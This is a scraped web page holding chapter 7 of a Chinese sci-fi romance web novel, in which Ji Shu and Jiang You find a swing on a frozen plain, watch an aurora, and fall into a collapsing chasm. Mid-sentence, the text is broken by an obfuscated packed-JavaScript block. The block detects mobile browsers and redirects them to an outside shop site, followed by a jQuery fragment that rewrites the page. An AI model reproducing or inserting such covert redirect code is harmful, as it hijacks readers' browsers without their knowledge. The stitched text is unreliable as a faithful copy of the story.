7. 第七章

作品:《电子心也会做梦吗?

    第七章


    车停在一片平地。


    坐在副驾驶的江宥却突然开口说了一句,“左边不远处有个东西。”


    季抒刚将车停稳,闻言,神色立马变得警觉,刚准备有所动作。


    江宥转过头,一眼便瞧见季抒的模样,仿佛一只猫察觉到不安,立马竖起全身的毛来防御,警惕地观察着四周,他没想到对方反应这么大,又轻声补充,似有安抚的意味,“好像是一个秋千,我先下去看看。”


    打开车门,走了几步,江宥发现真是一个秋千,正想对车里的季抒说,转头才发现,一向有些吵闹的人安静且神色认真地跟在自己的身后。


    江宥没料到对方会跟着自己下来,一瞬间有些哑然。


    季抒没察觉对方的走神,向前走去,语气有些奇怪地说,“真的是一个秋千。”


    在这个盛大而荒芜的天地,身前身后白茫茫一片,只能听见寒风呼啸声音的地方,出现了一个秋千。


    真是,荒诞又浪漫。


    两人检查了一下四周,发现这里就只余下一个普通的秋千,没什么奇怪的地方,还可以正常运作,但没什么人的痕迹,像是已经在这孤独地停留了很久。


    江宥走到秋千旁,转头看了一眼站在一旁的季抒,还不到自己的肩膀,小小一只,他忽然想起自己有一个表妹,应该和季抒差不多年龄,小时候就喜欢坐秋千。


    他眉心一动,鬼使神差地问了一句:“你想坐秋千吗?”


    季抒:“?”


    难道江宥终于要暴露他不为人知的真实面目,趁她坐秋千放松不注意时下手吗。


    季抒一路忍着没问江宥突然出现是来干什么的。她对这个人可能心怀不轨的怀疑度提升了不少。


    虽然到目前为止,江宥并没有做出什么不好的事。但还是过于巧合,防人之心不可无。


    可季抒不得不承认,秋千她是有一点想坐的,毕竟她从来没坐过。人总会对自己没有尝试过的东西感到好奇,这很合理。季抒这样想。


    虽然存在一定的风险,但尝试新事物总得付出点什么,这很公平,她愿意一试。


    不动声色地摸了摸藏在袖子里的小刀后,季抒勉为其难地答应了,气昂昂地走上前,坐在秋千上,随后一动不动,神色变得有些僵硬,她不太想暴露出自己是第一次坐秋千。


    但她突然记不起秋千是怎么玩的了。


    这时,站在身后的江宥状似无意地低头,在她耳畔附近轻轻说,“手抓紧绳子,坐好,我就推你。”


    季抒下意识照做,然后开口,“我好了。”


    下一秒,秋千椅子被一股力量往后拉,随后受到一股推力,季抒整个人一下就跟着秋千荡了出去。


    没有被谋害,而是飞上天了。


    被冷风裹挟着前进,心脏一瞬跟着秋千飞到最高,在空中停滞半秒,蓦地坠落,季抒下意识地握紧铁链。所幸这个秋千没有太高,没有让人拥有持续的害怕,担忧的心绪转瞬即逝。


    很快又再一次荡高。


    一晃一荡中,季抒有一瞬间觉得不真实,她忘记了逃生舱失控坠落带来的伤痛,只是蓦然想起很多年前路过的一个精致小巧的花园,穿公主裙的小女孩坐在秋千上,笑容像花园里的月季花一样漂亮,她还来不及多看几眼,就被管家叫走。


    但是现在,季抒觉得以后自己再也不会想起那段记忆了。


    秋千快要荡到最高,远处天边隐隐约约透出不一样的光,条带状的。季抒意识到什么,忽而转过头,笑着看向站在下面的江宥,大声喊了一句,“江宥!”


    “快看!”


    江宥应声抬头,映入眼帘的是最高处的人转过头看向他,看不清表情,但听声音,江宥能想象到对方毫无疑问的应该是眉眼弯弯,单纯又开心的。


    “有极光!”


    江宥仰着头,没立即看向天边的极光,目光落在了坐在秋千上即使穿着防风服依然单薄的身影。


    风照旧灌进江宥的耳朵,他却在此刻聆听到了不一样的声音,这种声音,明晃晃地作为一种暗示和征兆,在此时响起。有节奏但频率偏快,像鼓声。


    莫名其妙的,毫无预警的,猝不及防的。


    就像头顶上方的极光。


    绿色的绸带在空中舞动,绿的快要滴下来,天空在此刻与人的距离变得很近。


    今夜的KP值可能很高,肉眼看见的绿光很是清晰。


    秋千,极光,还有一个人,一起落入眼中。


    季抒稳稳落地,她走下秋千,神色有些掩藏不住的开心,不知道为什么。


    “江宥,你也去坐秋千吧,我可以推你。”


    江宥动了动嘴,却没吐出什么话,他想起之前温拓的话。


    “季抒,季铭的二女儿,短短几年就成了季氏的执行长官,比她哥哥和弟弟厉害。中央行星的人背地里都说她野心勃勃,心狠手辣,为达目的不择手段。不过面上大家都跟她合得挺来的,她跟好多世家都有合作,八面玲珑的。”


    “还听说啊,她曾经当众处理了一个季氏的高层,一点颜面也没给人留,那个场面……啧啧,这姑娘年纪看着不大,心却能这么狠。不简单。”


    “星网上没什么她的照片,也没什么她的信息,都是我从中央行星那边的人那里打听来的。在公众场合露面比较多的还是她的一个下属,陆森。”


    “唯一一张她的照片,我忘记从哪个角落好不容易找到的,也很模糊,是在一个孤儿院附近拍的。”


    那张照片上,季抒一身黑,带着顶帽子,将脸遮了一半,步履匆匆的,寻常一看肯定认不出是她。但江宥一看,便知那就是他救下的“舒霁”,不对,应该是“季抒”。


    “江宥,你看见极光了吗?要不要坐秋千。”季抒用手在他面前晃了晃。


    江宥睫毛微眨,不动声色地往后退了一步,“看见了。”说着,他又看了眼前方孤零零的秋千,没有煞风景,意外配合地点头,“坐。”


    季抒总是这般,直勾勾地看着你,一副乖巧真诚的模样,好像只要一拒绝她,就会对她造成很大的伤害一般。


    “那我来推你。”季抒好心地说。


    江宥自认为作为一个成熟的,四肢健全,拥有一个健康体魄的成年男性可以独自完成荡秋千的行为,“不用。我自己可以。”


    季抒“哦”了一声,退到一旁,注视着江宥坐上秋千,然后荡了起来。


    季抒忽然想起,秋千其实也可以自己荡。刚刚本来可以不用麻烦江宥的。


    江宥坐上秋千,看到天上的极光,心情没有太大的变化,最后得出一个结论,还是开星舰比较适


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369078|153085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    合自己。


    他荡了两下,便下来了。


    季抒连忙凑到江宥旁边,亮晶晶的眸子盯着他,期待听到令她满意的回答,“怎么样?”


    江宥微微低着头,面前人一脸纯真,因为这一点小事便开心得不行,与温拓口中的那个人彷佛像两个人,出入很大,头一回,江宥有些质疑温拓收集的信息的真实度。但也不排除对方演技很好的可能性。总之,江宥还是会小心注意对方的动静。


    “还不错。”江宥评价。


    季抒得到江宥的客观的正反馈,加上自己的亲身体验,以及在心里大致盘算的修秋千的费用、时间、修建难度、安全性以及孩子们的喜爱程度等等,综合这些来看,可实施性极高,且孤儿院之前并没有秋千,季抒准备回去将孤儿院增添秋千这一举措提上日程。


    季抒心里非常满意地点点头,“还意外碰上极光了。”


    极光对于他们来说其实已经不算太特别的东西了。但遇上极光还是需要一定的运气。


    江宥:“你很开心?”


    季抒咳了一声,连忙收敛住自己有些外泄的张扬情绪,装作若无其事,人淡如菊地说,“看风景嘛,看到好看的多感叹两句。”


    她反省自己如何能在这么重要的时间点玩乐,神色变得严肃,连忙转移话题道:“不早了,我们还是早些休息。”


    两人将后座扳倒,铺开睡袋,准备好一切后,季抒钻进睡袋里,然后对着对面的江宥,礼貌地说了一句,“我睡了。”


    江宥愣愣地回了句,“嗯。”


    天色已暗,车内的小灯也被关掉,车内车外都暗了下来,安静下来的两人,明面上都闭着眼睡着了,实则两人都还清醒着,等待对方先睡着。


    不知过了多久,季抒听着对方均匀规律的呼吸声,慢慢放下心来,浅浅入睡。


    等季抒睡着,看似已经入睡的江宥却睁开了眼,沉默地看了会儿对面漆黑的一片,才转过头去,再次闭上眼。


    天光乍亮。


    短暂休息过后,季抒明里暗里地跟江宥透露出自己想和他分开走的意思,对方却装聋作哑,无声挡回了数次季抒的暗示。


    两人不得不结伴同行了一段路程。


    车开到一个溪流旁,不能过去。两人不得不弃车而行。


    没走几步,走在前面的江宥却忽然顿住,转过头看着季抒。


    对方神色不明,季抒疑惑地问,“怎么了?”


    江宥似要开口,眨眼间,他站的位置,原地塌陷,江宥瞬间落了下去。


    刚还站在面前的人冷不丁消失,呼吸停滞了两秒,季抒忍住回头往后跑的冲动,选择了一边往前跑,一边给自己套上绳索,往下一看以后,又在陷落地边缘迅速钉了一个点,将绳索丢了下去,“江宥,抓住。”


    江宥此刻正抓着钉在峭壁旁边的锥子,季抒丢了绳子下来以后,江宥迅速抓住,想要顺着往上爬。


    季抒连忙也将绳子顺着往上拉,欲将人拉上来。


    陡然,地又震动了一下,一切转变得很快,重心不稳,锚点松动,绳子脱落。季抒不得不为了抓住绳子,又往前一动,结果因着震动,陷落边缘松动,她整个人也跟着掉了下去。


    顷刻间,整个大地像刚从沉睡中苏醒,开始剧烈震动起来,发出碎石碰撞的声音。